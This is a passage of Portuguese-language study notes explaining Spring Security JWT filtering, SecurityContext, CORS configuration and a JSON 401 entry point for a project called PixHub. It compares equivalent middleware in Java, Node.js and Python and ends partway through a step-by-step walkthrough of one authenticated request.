│ AuthService.java │ │ JwtAuthenticationFilter.java │
│ register() │ │ doFilterInternal() │
│ login() │ │ → extractToken(request) │
│ refresh() │ │ → jwtService.validateToken() │
└────────────────────────┘ │ → verifica tipo "access" │
│ → seta SecurityContext │
└──────────────┬─────────────────────┘
│ registrado na cadeia por
▼
┌──── PASSO 3.3 (ATUALIZADO) ──────────────────────────────────────┐
│ SecurityConfig.java — O ORQUESTRADOR │
│ │
│ .cors(corsConfigurationSource()) ← libera React (5173) │
│ .csrf(disable()) ← API REST, nao usa cookies│
│ .sessionManagement(STATELESS) ← cada request e autonoma │
│ .addFilterBefore(jwtFilter, ...) ← insere NOSSO filtro │
│ .authorizeHttpRequests(...) ← regras publico/protegido │
│ .exceptionHandling(entryPoint) ← JSON em vez de HTML │
│ │
│ Endpoints publicos: /api/v1/auth/**, /swagger-ui/**, │
│ /actuator/**, /api-docs/** │
│ Todos os demais: authenticated() ← PORTA FECHADA │
└────────────────────────────┬─────────────────────────────────────┘
│ quando autenticacao falha
▼
┌──── PASSO 3.3 (NOVO) ──────────────────────────────────────────┐
│ JwtAuthenticationEntryPoint.java │
│ commence(request, response, authException) │
│ → Monta ErrorResponse (mesmo DTO do GlobalExceptionHandler)│
│ → Escreve JSON direto no HttpServletResponse │
│ → {"status":401, "error":"Unauthorized", "message":"..."} │
│ │
│ Por que nao usar o GlobalExceptionHandler? │
│ Porque o filtro de seguranca roda ANTES do Controller. │
│ O GlobalExceptionHandler so captura excecoes de Controllers. │
│ Erros de autenticacao acontecem na cadeia de filtros. │
└────────────────────────────────────────────────────────────────┘
Pense no predio do PixHub como um predio comercial com varios andares:
Passo 3.1 criou o cadastro de funcionarios (entidade User no banco) — agora o predio sabe quem sao as pessoas.
Passo 3.2 montou a recepcao (AuthController) com uma maquina de imprimir crachas (JwtService). Quem chega se identifica, recebe um cracha com nome e cargo impresso.
Passo 3.3 instalou catracas em TODAS as portas (JwtAuthenticationFilter). Agora nao basta ter cracha — voce precisa mostrar o cracha em cada porta que quiser abrir. O SecurityConfig e o manual que define: "a recepcao nao tem catraca (endpoints publicos), mas todos os andares tem (endpoints protegidos)". E o EntryPoint e a mensagem educada na catraca quando ela trava: "Acesso negado. Por favor, apresente seu cracha na recepcao — andar terreo, porta 1 (POST /api/v1/auth/login)."
SecurityContext — A Identidade por Request
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O que e o SecurityContext?
O SecurityContext e um container temporario que armazena a identidade do usuario durante uma unica request HTTP. Ele nasce quando a request chega, vive enquanto ela e processada, e morre quando a resposta e enviada.
E como um cracha de visitante descartavel: voce recebe na entrada, usa enquanto esta no predio, e devolve ao sair. A proxima vez que voce entrar, recebe um cracha novo.
Por que ele e necessario?
O JWT viaja no header HTTP — so o filtro tem acesso direto a ele. Mas e se o Controller, o Service, ou o Repository precisam saber quem esta fazendo a operacao? Eles nao tem acesso ao header HTTP diretamente.
O SecurityContext resolve isso: o filtro extrai os dados do JWT e coloca no SecurityContext. A partir dai, qualquer camada da aplicacao pode consultar quem esta logado.
REQUEST HTTP
┌─────────────────────────────────────────────────┐
│ Header: Authorization: Bearer eyJ... │
│ Body: { "holderName": "Riel" } │
└─────────────────┬───────────────────────────────┘
│
▼
JwtAuthenticationFilter (FILTRO):
1. Extrai "eyJ..." do header
2. Valida com JwtService → { sub: "riel@email.com", role: "USER" }
3. Cria autenticacao:
UsernamePasswordAuthenticationToken(
"riel@email.com", // principal
null, // credentials
[ROLE_USER] // authorities
)
4. Coloca no container:
SecurityContextHolder.getContext().setAuthentication(auth)
│
▼
CONTROLLER (pode consultar):
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
String email = auth.getName(); // "riel@email.com"
Collection roles = auth.getAuthorities(); // [ROLE_USER]
│
▼
SERVICE (pode consultar tambem!):
// O mesmo SecurityContextHolder funciona em qualquer camada
String quemFez = SecurityContextHolder.getContext()
.getAuthentication().getName(); // "riel@email.com"
// Util para audit trail: "quem criou essa conta?"
│
▼
RESPOSTA ENVIADA → SecurityContext e LIMPO automaticamente
As 3 partes da autenticacao
O UsernamePasswordAuthenticationToken (apesar do nome confuso)
e a "ficha de identidade" do Spring Security. Ele tem 3 partes:
UsernamePasswordAuthenticationToken(principal, credentials, authorities)
─────────────────────────────────────────────────────────────────────────
1. PRINCIPAL — "Quem e voce?"
─────────
No nosso caso: o email do usuario → "riel@email.com"
Extraido do claim "sub" (subject) do JWT.
Qualquer codigo pode pedir: auth.getName() → "riel@email.com"
2. CREDENTIALS — "Qual e sua prova de identidade?"
───────────
No nosso caso: null (nao precisamos)
Por que null? Porque o JWT ja FOI validado pelo filtro.
A "prova" ja foi verificada — nao precisa guardar a senha.
Se fosse login com username+senha, aqui teria a senha.
3. AUTHORITIES — "O que voce pode fazer?"
───────────
No nosso caso: List.of(new SimpleGrantedAuthority("ROLE_USER"))
Extraido do claim "role" do JWT, com prefixo "ROLE_".
O prefixo "ROLE_" e uma CONVENCAO do Spring Security:
- No JWT: role = "USER"
- No Spring: authority = "ROLE_USER"
- No @PreAuthorize: hasRole('USER') → Spring adiciona ROLE_ automaticamente
Exemplos de uso futuro:
@PreAuthorize("hasRole('USER')") → qualquer usuario logado
@PreAuthorize("hasRole('ADMIN')") → somente administradores
Como funciona com threads (por que ThreadLocal)
O Spring Boot processa cada request em uma thread separada (uma "linha de execucao" independente). Se 10 usuarios fazem requests simultaneas, ha 10 threads rodando ao mesmo tempo.
Thread 1 (Riel fazendo GET /accounts):
SecurityContext → { principal: "riel@email.com", role: ROLE_USER }
Thread 2 (Ana fazendo POST /pix/keys):
SecurityContext → { principal: "ana@email.com", role: ROLE_USER }
Thread 3 (Admin fazendo DELETE /accounts/123):
SecurityContext → { principal: "admin@pixhub.com", role: ROLE_ADMIN }
Cada thread tem seu PROPRIO SecurityContext (via ThreadLocal).
A thread do Riel NUNCA ve os dados da Ana, e vice-versa.
E como se cada thread fosse um "universo paralelo" isolado.
ThreadLocal e um mecanismo do Java que cria uma "copia privada"
de uma variavel para cada thread. Funciona assim:
ThreadLocal<SecurityContext> holder = new ThreadLocal<>();
holder.set(contextoDoRiel); // so esta thread ve isso
holder.get(); // retorna contextoDoRiel
Uso pratico: quem fez o que?
// No Controller — saber quem esta logado:
@GetMapping("/me")
public ResponseEntity<UserProfile> getMyProfile() {
String email = SecurityContextHolder.getContext()
.getAuthentication().getName();
// Busca os dados do usuario pelo email
return ResponseEntity.ok(userService.findByEmail(email));
}
// No Service — audit trail (quem criou essa conta?):
public Account createAccount(CreateAccountRequest request) {
String createdBy = SecurityContextHolder.getContext()
.getAuthentication().getName();
account.setCreatedBy(createdBy); // "riel@email.com"
return accountRepository.save(account);
}
// No Controller — pegar a role do usuario:
@PreAuthorize("hasRole('ADMIN')") // Spring verifica automaticamente!
@DeleteMapping("/accounts/{id}") // So admins podem deletar contas
public ResponseEntity<Void> deleteAccount(@PathVariable UUID id) {
accountService.delete(id);
return ResponseEntity.noContent().build();
}
// O @PreAuthorize funciona porque:
// 1. @EnableMethodSecurity no SecurityConfig ativa essa feature
// 2. hasRole('ADMIN') verifica se authorities contem "ROLE_ADMIN"
// 3. O filtro JWT colocou "ROLE_USER" ou "ROLE_ADMIN" no SecurityContext
O SecurityContext e como o cracha pendurado no pescoco de cada pessoa dentro do predio. A catraca (filtro JWT) verifica seu documento na entrada e te da o cracha. A partir dai, qualquer pessoa que precise saber quem voce e — a recepcionista, o porteiro do andar, o seguranca do cofre — basta olhar para o seu cracha. Voce nao precisa mostrar seu documento original toda vez, porque o cracha ja tem suas informacoes (nome e cargo). E quando voce sai do predio (request termina), o cracha e descartado.
O ThreadLocal garante que cada pessoa tem seu proprio cracha — mesmo que 100 pessoas estejam no predio ao mesmo tempo, ninguem consegue ler o cracha de outra pessoa.
CORS e EntryPoint — Dois Problemas, Duas Solucoes
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Problema 1: CORS — por que o navegador bloqueia o frontend
CORS (Cross-Origin Resource Sharing) e uma politica de seguranca dos navegadores que bloqueia requisicoes entre "origens" diferentes. Uma "origem" e a combinacao de protocolo + dominio + porta.
ORIGEM = protocolo + dominio + porta
Exemplos de origens DIFERENTES (qualquer parte diferente = origem diferente):
http://localhost:5173 ← React (Vite dev server)
http://localhost:8080 ← Spring Boot API (porta diferente!)
https://localhost:5173 ← mesmo dominio/porta, mas protocolo diferente
http://pixhub.com:5173 ← mesmo protocolo/porta, mas dominio diferente
React em http://localhost:5173 tentando chamar API em http://localhost:8080:
→ O NAVEGADOR detecta: "porta 5173 ≠ porta 8080 — origens diferentes!"
→ O NAVEGADOR bloqueia a request antes dela chegar na API
→ A API nem sabe que alguem tentou chama-la
Por que o navegador faz isso?
Imagine que voce esta logado no site do seu banco
(banco.com). Em outra aba, voce abre um site malicioso
(hacker.com). Sem CORS, o JavaScript do hacker.com poderia
fazer requests para banco.com usando seus cookies de sessao
— porque o navegador envia cookies automaticamente para o dominio de destino.
O hacker poderia transferir seu dinheiro sem voce saber!
CORS impede isso: o navegador so permite requests entre origens diferentes se o servidor de destino disser explicitamente "eu confio nessa origem". Se o servidor nao disser nada, o navegador bloqueia.
Quando o React faz um POST/PUT/DELETE para a API, o navegador
nao envia a request diretamente. Ele faz uma "pergunta" primeiro:
PASSO 1 — Preflight (o navegador pergunta):
────────────────────────────────────────────
OPTIONS /api/v1/accounts HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization, Content-Type
Traduzindo: "Oi API, eu sou o localhost:5173. Posso fazer um POST
com os headers Authorization e Content-Type?"
PASSO 2 — Resposta da API (o CORS do Spring responde):
──────────────────────────────────────────────────────
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 3600
Traduzindo: "Ola localhost:5173! Sim, voce pode. E pode cachear
essa resposta por 1 hora (nao precisa perguntar de novo)."
PASSO 3 — Request real (so agora o navegador envia):
────────────────────────────────────────────────────
POST /api/v1/accounts HTTP/1.1
Origin: http://localhost:5173
Authorization: Bearer eyJ...
Content-Type: application/json
{"holderName": "Riel Santos", ...}
NOTA: requests GET simples nao precisam de preflight.
O navegador so faz preflight para requests "complexas"
(POST/PUT/DELETE, ou GET com headers customizados).
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
// 1. ORIGENS PERMITIDAS — quais URLs do frontend podem nos chamar
config.setAllowedOrigins(Arrays.asList(
"http://localhost:5173", // Vite dev server (React)
"http://localhost:4173", // Vite preview (build local)
"http://localhost:3000" // Create React App (alternativa)
));
// Em producao: trocar por "https://pixhub.com.br"
// 2. METODOS HTTP — quais metodos o frontend pode usar
config.setAllowedMethods(Arrays.asList(
"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"
));
// OPTIONS e obrigatorio para o preflight funcionar
// 3. HEADERS PERMITIDOS — o que o frontend pode enviar
config.setAllowedHeaders(Arrays.asList(
"Authorization", // o JWT (Bearer eyJ...)
"Content-Type", // tipo do body (application/json)
"Accept", // tipo de resposta aceita
"Origin", // de onde vem a request
"X-Requested-With" // identifica requests AJAX
));
// 4. HEADERS EXPOSTOS — o que o frontend pode LER da resposta
config.setExposedHeaders(Arrays.asList(
"Authorization", // se o backend devolver token no header
"X-RateLimit-Remaining" // rate limiting (fase 3.4)
));
// Por padrao, o navegador so deixa o JS ler alguns headers basicos
// (Content-Type, Content-Length). Outros precisam ser "expostos".
// 5. CREDENCIAIS — permite enviar Authorization header
config.setAllowCredentials(true);
// IMPORTANTE: quando true, nao pode usar "*" em allowedOrigins!
// O navegador exige origens explicitas por seguranca.
// 6. MAX AGE — cache do preflight (evita OPTIONS repetidos)
config.setMaxAge(3600L); // 1 hora
// Aplica para TODAS as rotas da API
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", config);
return source;
}
CORS so existe no NAVEGADOR. Essas ferramentas IGNORAM CORS completamente: ✅ curl → ferramenta de terminal, nao e navegador ✅ Postman → app desktop, nao e navegador ✅ Insomnia → app desktop, nao e navegador ✅ Apps mobile → iOS/Android nao implementam CORS ✅ Outro backend → servidor-para-servidor nao tem CORS ✅ Testes (JUnit) → rodam no servidor, nao no navegador Por isso, funciona tudo no Postman mas quebra no React! Esse e o erro mais comum de quem esta comecando com APIs + frontend.
Problema 2: EntryPoint — a resposta de erro feia
Quando alguem tenta acessar um endpoint protegido sem JWT, o Spring Security precisa responder com 401 Unauthorized. Porem, o comportamento padrao do Spring e retornar uma pagina HTML generica — o "Whitelabel Error Page".
┌─── SEM nosso EntryPoint (padrao do Spring) ───────────────────────────┐
│ │
│ curl http://localhost:8080/api/v1/accounts │
│ │
│ HTTP 401 │
│ Content-Type: text/html │
│ │
│ <html> │
│ <body> │
│ <h1>Whitelabel Error Page</h1> │
│ <p>This application has no explicit mapping for /error...</p> │
│ </body> │
│ </html> │
│ │
│ Problemas: │
│ 1. Frontend nao consegue fazer JSON.parse() em HTML! │
│ 2. Formato diferente dos outros erros da API (que sao JSON) │
│ 3. Nenhuma informacao util para o desenvolvedor │
└────────────────────────────────────────────────────────────────────────┘
┌─── COM nosso JwtAuthenticationEntryPoint ─────────────────────────────┐
│ │
│ curl http://localhost:8080/api/v1/accounts │
│ │
│ HTTP 401 │
│ Content-Type: application/json │
│ │
│ { │
│ "timestamp": "2026-03-21T12:30:00", │
│ "status": 401, │
│ "error": "Unauthorized", │
│ "message": "Autenticacao necessaria. Envie um token JWT valido │
│ no header Authorization.", │
│ "path": "/api/v1/accounts" │
│ } │
│ │
│ Vantagens: │
│ 1. JSON! Frontend parseia facilmente │
│ 2. MESMO formato (ErrorResponse) de todos os outros erros │
│ 3. Mensagem util: diz o que fazer para resolver │
│ 4. Frontend pode tratar: if (data.status === 401) redirect('/login') │
└────────────────────────────────────────────────────────────────────────┘
Por que nao usar o GlobalExceptionHandler?
No passo anterior (Fase 02), criamos o GlobalExceptionHandler
com @ControllerAdvice para capturar excecoes e retornar JSON
padronizado. Entao por que nao usamos ele aqui?
Request HTTP chega ao servidor
│
▼
┌─────────────────────────────────────────────┐
│ CADEIA DE FILTROS (Spring Security) │
│ │
│ Se 401 aqui → EntryPoint pega │ ← FORA do Controller
│ (GlobalExceptionHandler NAO alcanca aqui) │
│ │
└──────────────┬──────────────────────────────┘
│ passou pelos filtros?
▼
┌─────────────────────────────────────────────┐
│ CONTROLLER → SERVICE → REPOSITORY │
│ │
│ Se excecao aqui → GlobalExceptionHandler │ ← DENTRO do Controller
│ (EntryPoint NAO e chamado aqui) │
│ │
└─────────────────────────────────────────────┘
Resumo:
EntryPoint → erros de AUTENTICACAO (cadeia de filtros, antes do Controller)
GlobalExceptionHandler → erros de NEGOCIO (dentro dos Controllers)
Os dois retornam o MESMO formato (ErrorResponse), so que em momentos diferentes.
Para o frontend, o formato e sempre igual — nao importa onde o erro aconteceu.
@Component
public class JwtAuthenticationEntryPoint implements AuthenticationEntryPoint {
private final ObjectMapper objectMapper; // Jackson — converte Java para JSON
// commence() e chamado pelo Spring Security quando autenticacao falha
@Override
public void commence(HttpServletRequest request,
HttpServletResponse response,
AuthenticationException authException) throws IOException {
log.warn("Acesso nao autenticado a: {} {}", request.getMethod(),
request.getRequestURI());
// Monta ErrorResponse — MESMO DTO que o GlobalExceptionHandler usa
ErrorResponse errorResponse = ErrorResponse.builder()
.timestamp(LocalDateTime.now())
.status(401)
.error("Unauthorized")
.message("Autenticacao necessaria. Envie um token JWT valido"
+ " no header Authorization.")
.path(request.getRequestURI())
.build();
// Escreve o JSON direto na response HTTP
// Nao podemos usar return ResponseEntity.status(401).body(error)
// porque estamos FORA do Controller — nao tem mecanismo de retorno.
// Precisamos escrever manualmente no HttpServletResponse.
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); // 401
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
response.setCharacterEncoding("UTF-8");
response.getWriter().write(objectMapper.writeValueAsString(errorResponse));
}
}
CORS e como o porteiro de um condominio. Se voce e morador (mesma origem), entra direto. Se e visitante (origem diferente), o porteiro liga para o morador perguntando: "Tem um tal de localhost:5173 aqui querendo entrar. Pode?" (preflight). Se o morador disser sim (Access-Control-Allow), o visitante entra. Ferramentas como curl e Postman sao como entrar pela garagem com controle remoto — nao passam pelo porteiro.
EntryPoint e a mensagem automatizada do interfone quando a catraca trava. Sem ele, a catraca trava e fica muda (HTML generico — o frontend nao entende). Com ele, uma voz diz claramente: "Acesso negado. Para entrar, apresente-se na recepcao — interfone 1 (POST /api/v1/auth/login)." E a mensagem vem no mesmo formato que todas as outras mensagens do predio (JSON padronizado), entao o sistema de comunicacao (frontend) entende perfeitamente.
EntryPoint vs GlobalExceptionHandler e como seguranca na portaria vs atendente no balcao. Se voce e barrado na portaria (cadeia de filtros), quem te atende e o seguranca (EntryPoint). Se voce entrou no predio e teve um problema no balcao (Controller/Service), quem te atende e o atendente (GlobalExceptionHandler). Ambos falam a mesma lingua (ErrorResponse JSON), mas atuam em momentos diferentes.
Passo 3.3 — Universal vs Especifico do Java
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O design pattern por tras: Chain of Responsibility
Antes de comparar linguagens, vale entender o padrao de design que tudo isso implementa: Chain of Responsibility (Cadeia de Responsabilidade). Este e um dos 23 padroes classicos de design catalogados pelo "Gang of Four" — funciona assim:
IDEIA: uma request passa por uma CADEIA de "handlers" (tratadores).
Cada handler pode processar a request e/ou passa-la para o proximo.
Sem o padrao: Com o padrao:
───────────── ──────────────
if (cors_ok) { Request
if (csrf_ok) { → CorsFilter.handle()
if (jwt_ok) { → CsrfFilter.handle()
if (authz_ok) { → JwtFilter.handle()
controller(); → AuthzFilter.handle()
} → Controller
}
}
}
O problema do "sem padrao": if/else aninhado, impossivel de manter.
Com a cadeia, cada filtro e independente e pode ser adicionado/removido
sem afetar os outros. E facil de testar cada um isoladamente.
TODAS as linguagens usam esse padrao para middleware/filtros HTTP:
Java: FilterChain.doFilter()
Node: next()
Python: call_next()
Go: next.ServeHTTP()
O nome muda, mas o conceito e identico.
Tabela: conceitos portateis para qualquer linguagem
CONCEITO UNIVERSAL JAVA (Spring) NODE.JS (Express) PYTHON (FastAPI)
────────────────── ───────────── ───────────────── ────────────────
Middleware/Filtro OncePerRequestFilter function(req,res,next) @app.middleware("http")
que intercepta requests extends classe funcao simples funcao async
Extrair token do header request.getHeader( req.headers request.headers
"Authorization: Bearer X" "Authorization") .authorization .get("authorization")
Validar JWT (assinatura jwtService jwt.verify( jwt.decode(
+ expiracao) .validateToken() token, secret) token, secret)
Setar usuario autenticado SecurityContextHolder req.user = decoded request.state.user
no contexto da request .setAuthentication() = decoded
Separar access/refresh claims.get("type") decoded.type decoded["type"]
no filtro .equals("access") === "access" == "access"
CORS configuration CorsConfiguration cors({origin:[...]}) CORSMiddleware(
(liberar origens) Source (bean) (pacote cors) allow_origins=[...])
Resposta padronizada Authentication Error middleware: Exception handler:
para 401 EntryPoint app.use((err,req, @app.exception_
(interface) res,next)=>{...}) handler(HTTPExc)
Cadeia de filtros filterChain next() await call_next()
(chamar o proximo) .doFilter()
Autorizar por role @PreAuthorize( requireRole('ADMIN') Depends(require_
em endpoint especifico "hasRole('ADMIN')") (middleware custom) role("ADMIN"))
O mesmo middleware JWT em 3 linguagens
Veja como a logica e identica — extrair token, validar, verificar tipo, setar usuario no contexto. So muda a sintaxe e os nomes das classes/funcoes do framework.
@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {
// OncePerRequestFilter: garante executar 1x por request (coisa do Spring)
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain)
throws ServletException, IOException {
// 1. Extrair token
String header = request.getHeader("Authorization");
if (header == null || !header.startsWith("Bearer ")) {
filterChain.doFilter(request, response); // passa adiante
return;
}
String token = header.substring(7);
// 2. Validar
Claims claims = jwtService.validateToken(token);
if (claims == null) {
filterChain.doFilter(request, response);
return;
}
// 3. Verificar tipo
if (!"access".equals(claims.get("type", String.class))) {
filterChain.doFilter(request, response);
return;
}
// 4. Setar no contexto (SecurityContext — especifico do Spring)
var auth = new UsernamePasswordAuthenticationToken(
claims.getSubject(), null,
List.of(new SimpleGrantedAuthority("ROLE_" + claims.get("role")))
);
SecurityContextHolder.getContext().setAuthentication(auth);
filterChain.doFilter(request, response); // proximo filtro
}
}
// Registro no SecurityConfig:
.addFilterBefore(jwtFilter, UsernamePasswordAuthenticationFilter.class)
const jwt = require('jsonwebtoken');
function authMiddleware(req, res, next) {
// 1. Extrair token
const header = req.headers.authorization;
if (!header || !header.startsWith('Bearer ')) {
return next(); // passa adiante (equivale ao filterChain.doFilter)
}
const token = header.substring(7);
try {
// 2. Validar
const decoded = jwt.verify(token, process.env.JWT_SECRET);
// 3. Verificar tipo
if (decoded.type !== 'access') {
return next();
}
// 4. Setar no contexto (req.user — simples, sem SecurityContext)
req.user = {
email: decoded.sub,
role: decoded.role
};
} catch (err) {
// Token invalido — passa sem autenticar (mesmo que o Java)
}
next(); // proximo middleware
}
// Registro:
app.use(authMiddleware); // aplica para todas as rotas
// Muito mais simples que o .addFilterBefore() do Spring!
import jwt
from starlette.middleware.base import BaseHTTPMiddleware
class AuthMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
# 1. Extrair token
header = request.headers.get("authorization")
if not header or not header.startswith("Bearer "):
return await call_next(request) # passa adiante
token = header[7:]
try:
# 2. Validar
decoded = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
# 3. Verificar tipo
if decoded.get("type") != "access":
return await call_next(request)
# 4. Setar no contexto (request.state — simples como o Node)
request.state.user = {
"email": decoded["sub"],
"role": decoded["role"]
}
except jwt.InvalidTokenError:
pass # token invalido — passa sem autenticar
return await call_next(request) # proximo middleware
# Registro:
app.add_middleware(AuthMiddleware)
Comparacao: CORS em 3 linguagens
┌─── Java (Spring) — mais verboso, mas muito configuravel ───────────────┐
│ @Bean │
│ public CorsConfigurationSource corsConfigurationSource() { │
│ CorsConfiguration config = new CorsConfiguration(); │
│ config.setAllowedOrigins(Arrays.asList("http://localhost:5173"));│
│ config.setAllowedMethods(Arrays.asList("GET","POST","PUT",...)); │
│ config.setAllowedHeaders(Arrays.asList("Authorization",...)); │
│ config.setAllowCredentials(true); │
│ config.setMaxAge(3600L); │
│ UrlBasedCorsConfigurationSource source = new ...(); │
│ source.registerCorsConfiguration("/**", config); │
│ return source; │
│ } │
│ // ~15 linhas de configuracao │
└─────────────────────────────────────────────────────────────────────────┘
┌─── Node.js (Express) — 1 pacote, 5 linhas ────────────────────────────┐
│ const cors = require('cors'); │
│ app.use(cors({ │
│ origin: ['http://localhost:5173'], │
│ methods: ['GET','POST','PUT','PATCH','DELETE'], │
│ credentials: true │
│ })); │
└─────────────────────────────────────────────────────────────────────────┘
┌─── Python (FastAPI) — 1 import, 5 linhas ──────────────────────────────┐
│ from starlette.middleware.cors import CORSMiddleware │
│ app.add_middleware(CORSMiddleware, │
│ allow_origins=["http://localhost:5173"], │
│ allow_methods=["GET","POST","PUT","PATCH","DELETE"], │
│ allow_credentials=True │
│ ) │
└─────────────────────────────────────────────────────────────────────────┘
Conclusao: Java/Spring e mais verboso, mas a LOGICA configurada
e exatamente a mesma (origens, metodos, headers, credenciais).
O que e ESPECIFICO do Java/Spring neste passo
ESPECIFICO DO JAVA/SPRING O QUE RESOLVE ALTERNATIVA EM OUTRAS LINGUAGENS
───────────────────────── ────────────── ────────────────────────────────
OncePerRequestFilter Garante 1 execucao Node/Python: o framework ja
(classe abstrata) por request garante isso — nao precisa
SecurityContextHolder Container global Node: req.user (propriedade
+ ThreadLocal thread-safe para do request object)
identidade do usuario Python: request.state.user
UsernamePasswordAuthenticationToken Objeto tipado com Node: qualquer objeto JS serve
(classe com principal + principal + authorities Python: qualquer dict serve
credentials + authorities) (Spring entende)
SimpleGrantedAuthority("ROLE_USER") Prefixo "ROLE_" como Node: string simples "admin"
(convencao do Spring Security) convencao obrigatoria Python: string simples "admin"
.addFilterBefore(filter, class) Inserir filtro em Node: app.use(mw) — ordem de
(posicao especifica na cadeia) posicao EXATA chamada define a ordem
Python: mesma coisa
AuthenticationEntryPoint Handler especifico Node: middleware de erro global
(interface do Spring Security) para falha de auth Python: exception_handler
@EnableMethodSecurity Ativa @PreAuthorize Node: nao precisa "ativar" —
(sem isso, annotation e ignorada!) nos Controllers middleware roda se registrado
Python: Depends() roda sempre
CorsConfigurationSource (bean) Configuracao CORS Node: cors({...}) — 5 linhas
(20+ linhas de config) como objeto Java Python: CORSMiddleware(...)
Resumo: o padrao universal "Middleware de Autenticacao"
funcao middleware_jwt(request, proximo):
─────────────────────────────────────────
// PASSO 1: Extrair token
header = request.headers["Authorization"]
se header nao existe OU nao comeca com "Bearer ":
proximo(request) // sem token → deixa o framework decidir
retorna
token = header.remover_prefixo("Bearer ")
// PASSO 2: Validar token
tentativa:
dados = validar_jwt(token, CHAVE_SECRETA)
se falhou:
proximo(request) // token invalido → nao autentica
retorna
// PASSO 3: Verificar tipo
se dados.tipo != "access":
proximo(request) // refresh token → nao serve aqui
retorna
// PASSO 4: Registrar identidade
request.usuario = {
email: dados.subject,
role: dados.role
}
proximo(request) // segue para o controller ✅
// Este pseudocodigo descreve o que Java, Node, Python, Go e Rust fazem.
// A LOGICA e universal. O VOCABULARIO muda.
// Aprender o pseudocodigo = entender qualquer implementacao.
O middleware de autenticacao e como o procedimento operacional padrao (POP) de seguranca em aeroportos internacionais. Nao importa se voce esta em Guarulhos (Java), JFK (Node.js), Heathrow (Python) ou Narita (Go) — o procedimento e o mesmo: apresente o passaporte, o agente verifica a foto e a validade, se tudo OK voce passa, se nao voce e barrado.
O que muda entre aeroportos e a interface:
em Guarulhos o agente pede o passaporte em portugues
(SecurityContextHolder), em JFK pede em ingles
(req.user), em Narita pede em japones
(context.Value). Mas o POP (pseudocodigo) e identico.
Java/Spring e como um aeroporto muito grande com muitos terminais: tem mais burocracia (OncePerRequestFilter, SecurityContextHolder, UsernamePasswordAuthenticationToken), mas isso existe porque precisa gerenciar muitas threads simultaneas com seguranca. Node/Python sao como aeroportos menores — menos burocracia, mas o procedimento de seguranca e o mesmo.
Walkthrough: Uma Request Real do Inicio ao Fim
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Cenario: Riel quer ver suas contas bancarias no app
Vamos acompanhar exatamente o que acontece quando o usuario
Riel, ja logado no app React, clica em "Minhas Contas" e o frontend
faz um GET /api/v1/accounts. Cada etapa mostra qual arquivo
do projeto e responsavel.
╔══════════════════════════════════════════════════════════════════════╗
║ FRONTEND (React) ║
║ ║
║ O Riel clicou em "Minhas Contas". ║
║ O React faz: ║
║ fetch('http://localhost:8080/api/v1/accounts', { ║
║ headers: { ║
║ 'Authorization': 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJz...', ║
║ 'Content-Type': 'application/json' ║
║ } ║
║ }) ║
║ ║
║ O token foi guardado no localStorage apos o login. ║
╚══════════════════════╤═══════════════════════════════════════════════╝
│
│ HTTP GET /api/v1/accounts
│ Authorization: Bearer eyJ...
▼
┌──────────────────────────────────────────────────────────────────────┐
│ ETAPA 1: CORS Filter │
│ Arquivo: SecurityConfig.java → corsConfigurationSource() │
│ │
│ Verifica: "Essa request vem de http://localhost:5173?" │
│ Sim → esta na lista de origens permitidas │
│ Resultado: ✅ LIBERADO │
└──────────────────────┬───────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────┐
│ ETAPA 2: CSRF Filter (desabilitado) │
│ Arquivo: SecurityConfig.java → .csrf(csrf -> csrf.disable()) │
│ │
│ API stateless com JWT, nao com cookies → CSRF nao se aplica │
│ Resultado: ✅ PASSA DIRETO │
└──────────────────────┬───────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────┐
│ ETAPA 3: JwtAuthenticationFilter │
│ Arquivo: config/JwtAuthenticationFilter.java │
│ │
│ 3a. extractToken(request): │
│ header = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWVs..." │
│ token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWVs..." │
│ → Token encontrado ✅ │
│ │
│ 3b. jwtService.validateToken(token): │
│ Arquivo: service/JwtService.java │
│ → Decodifica Base64 │
│ → Verifica assinatura HMAC-SHA256 com jwt.secret │
│ → Verifica que exp > agora (nao expirou) │
│ → Retorna Claims: {sub:"riel@email.com", role:"USER", │
│ type:"access", exp:1742637000} │
│ → Token valido ✅ │
│ │
│ 3c. Verifica tipo: │
│ claims.get("type") = "access" → OK, e um access token ✅ │
│ (se fosse "refresh", seria ignorado) │
│ │
│ 3d. Cria autenticacao: │
│ email = "riel@email.com" (do claim "sub") │
│ role = "USER" (do claim "role") │
│ auth = UsernamePasswordAuthenticationToken( │
│ "riel@email.com", null, [ROLE_USER]) │
│ │
│ 3e. Registra no SecurityContext: │
│ SecurityContextHolder.getContext().setAuthentication(auth) │
│ → Agora qualquer codigo pode perguntar "quem e o usuario?" │
│ → Resposta: "riel@email.com com role ROLE_USER" │
│ │
│ Resultado: ✅ REQUEST AUTENTICADA │
└──────────────────────┬───────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────┐
│ ETAPA 4: AuthorizationFilter (Spring Security automatico) │
│ Arquivo: SecurityConfig.java → authorizeHttpRequests(...) │
│ │
│ Endpoint: /api/v1/accounts │
│ Regra: anyRequest().authenticated() │
│ Request autenticada? SIM (SecurityContext tem autenticacao) │
│ │
│ Resultado: ✅ AUTORIZADO — pode continuar │
└──────────────────────┬───────────────────────────────────────────────┘
│
▼
